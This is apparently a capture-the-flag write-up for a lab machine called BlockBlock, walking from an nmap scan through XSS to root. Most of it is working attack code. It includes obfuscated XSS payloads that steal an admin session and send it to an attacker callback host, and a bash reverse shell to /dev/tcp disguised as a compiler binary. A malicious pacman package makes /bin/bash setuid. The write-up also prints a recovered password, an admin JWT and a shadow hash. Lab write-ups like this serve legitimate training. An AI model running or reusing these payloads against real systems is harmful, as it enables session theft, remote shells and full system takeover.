Explore the fundamentals of cybersecurity in the BlockBlock Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

10.10.11.43 blockblock.htb

Script to add hosts automatically

ip="10.10.11.43"
domain="blockblock.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV blockblock.htb
Nmap scan report for blockblock.htb (10.10.11.43)
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey: 
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title:          Home  - DBLC    

Register in http://10.10.11.43

At the bottom is showed You can review our smart contracts anytime http://10.10.11.43/api/contract_source

Lets analyze it Note change the token with yours

token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxMTg2NCwianRpIjoiMmI0Mjg2YjgtMTBlMC00NzI2LWFkZjgtMDEzNjlmZWMyYmQxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFAYS5hIiwibmJmIjoxNzMyOTExODY0LCJleHAiOjE3MzM1MTY2NjR9.gyVZXeJut3eZj531XhYf8gOVfDGDQC-5fAvpGDWIm6A'
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Database.sol"' > Database.sol 
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Chat.sol"' > Chat.sol
cat Database.sol
cat Chat.sol

So reporting a user we can get xxs this is how to test:

python -m http.server 
<img src=x onerror="fetch('http://10.10.14.18:8000/jsw0rks')" /> 
10.10.11.43 - - [29/Nov/2024 21:35:19] "GET /test/ HTTP/1.1" 200 -

The token is HTTP-only, so the key challenge is finding a way to access the content of the admin cookie.

Paste the following in the console to brute-force and retrieve the admin cookie after several retries:

const callback_url = "http://10.10.14.18:8000/";
const delay = millis => new Promise(resolve => setTimeout(resolve, millis));
async function report_user(username) {
  try {
    await fetch(`${location.origin}/api/report_user`, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ username }),
    });
  } catch (error) {
    console.error("Error in report_user:", error);
  }
}
(async () => {
  for (let ff = 0; ff <= 30; ff++) {
    for (let ss = 0; ss <= 10; ss++) {
      console.log(`1st Payload, Sending total... ${ff}`);
      const first_payload = `
        <img src=x onerror='eval(atob("ZmV0Y2goIi9hcGkvaW5mbyIsIHsNCgloZWFkZXJzOiB7DQoJCSdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicNCgl9LA0KCW1ldGhvZDogJ0dFVCcsIA0KCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScNCiAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsgDQogIH0pDQogIC50aGVuKGRhdGEgPT4gew0KCQlmZXRjaCgiL2FwaS9zZW5kX21lc3NhZ2UiLCB7DQoJCQloZWFkZXJzOiB7DQoJCQkJJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJw0KCQkJfSwNCgkJCW1ldGhvZDogJ1BPU1QnLCANCgkJCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScsDQoJCQlib2R5OiBKU09OLnN0cmluZ2lmeSh7DQoJCQkJY29udGVudDogYnRvYShlbmNvZGVVUklDb21wb25lbnQoZGF0YSkpDQoJCQl9KQ0KCQl9KQ0KICB9KTs="))' />
      `;
      await report_user(first_payload);
    }
    for (let ss = 0; ss <= 10; ss++) {
      console.log(`2nd Payload, Sending... ${ff}`);
      let seconds_payload = `
        async function s(t) {
          try {
            fetch("${callback_url}?" + btoa(encodeURIComponent(t.toString())));
          } catch {}
        }
        (async () => {
          try {
            const t = await fetch("/api/recent_messages", {
              headers: { "Content-Type": "application/json" },
              method: "GET",
              credentials: "include",
            });
            await s(await t.text());
          } catch (t) {
            await s("ERR");
          }
        })();
      `;
      seconds_payload = btoa(seconds_payload);
      seconds_payload = `<img src=x onerror='eval(atob("${seconds_payload}"))' />`;
      await report_user(seconds_payload);
    }
  }
})();

https://gchq.github.io/CyberChef

From base64 data

this yelds eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxNTQyMSwianRpIjoiNmM3MGY0NmQtZjNjZC00ZDU4LTk1ZjEtZmQzMjVmNWYxNzMyIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyOTE1NDIxLCJleHAiOjE3MzM1MjAyMjF9.dOn0IAcdSMka9sTc_NPu7Bd5-8l0E9oaw_ZHpDWfk04

Set as the cookie token

http://10.10.11.43/admin

http://10.10.11.43/admin#users

Open burp and intercept /api/json-rpc

just change method in {"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1",true],"id":1}

Decode from hex the data

keira:SomedayBitCoinWillCollapse

ssh keira@blockblock.htb
cat user.txt
uname -a

Detected 6.9.3-arch1-1. Using Arch Linux as a server is questionable—better suited for desktops. Feels out of place here. Btw, I’m an archlinux user :(. What’s next, Gentoo or LFS? <- brainroot :).

Listener:

nc -lvnp 9001

To Get Paul in 9001:

sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.18/9001 0>&1' > /dev/shm/solc
cd /dev/shm/exploit
chmod +x ../solc
sudo -u paul /home/paul/.foundry/bin/forge build --use ../solc

To Get Root From Paul in 9001:

cd /dev/shm
echo -e "pkgname=exp\npkgver=1.0\npkgrel=1\narch=('any')\ninstall=exp.install" > PKGBUILD
echo "post_install() { chmod 4777 /bin/bash; }" > exp.install
makepkg -s
sudo pacman -U *.zst --noconfirm
bash -p
cat /root/root.txt
cat /etc/shadow

This yields $y$j9T$aS1WjBeHOMsj5JDGpOSTR0$eEn9e2kIqFfcRCf79xQw7iLDJbt/ioE793tqS3GnjsC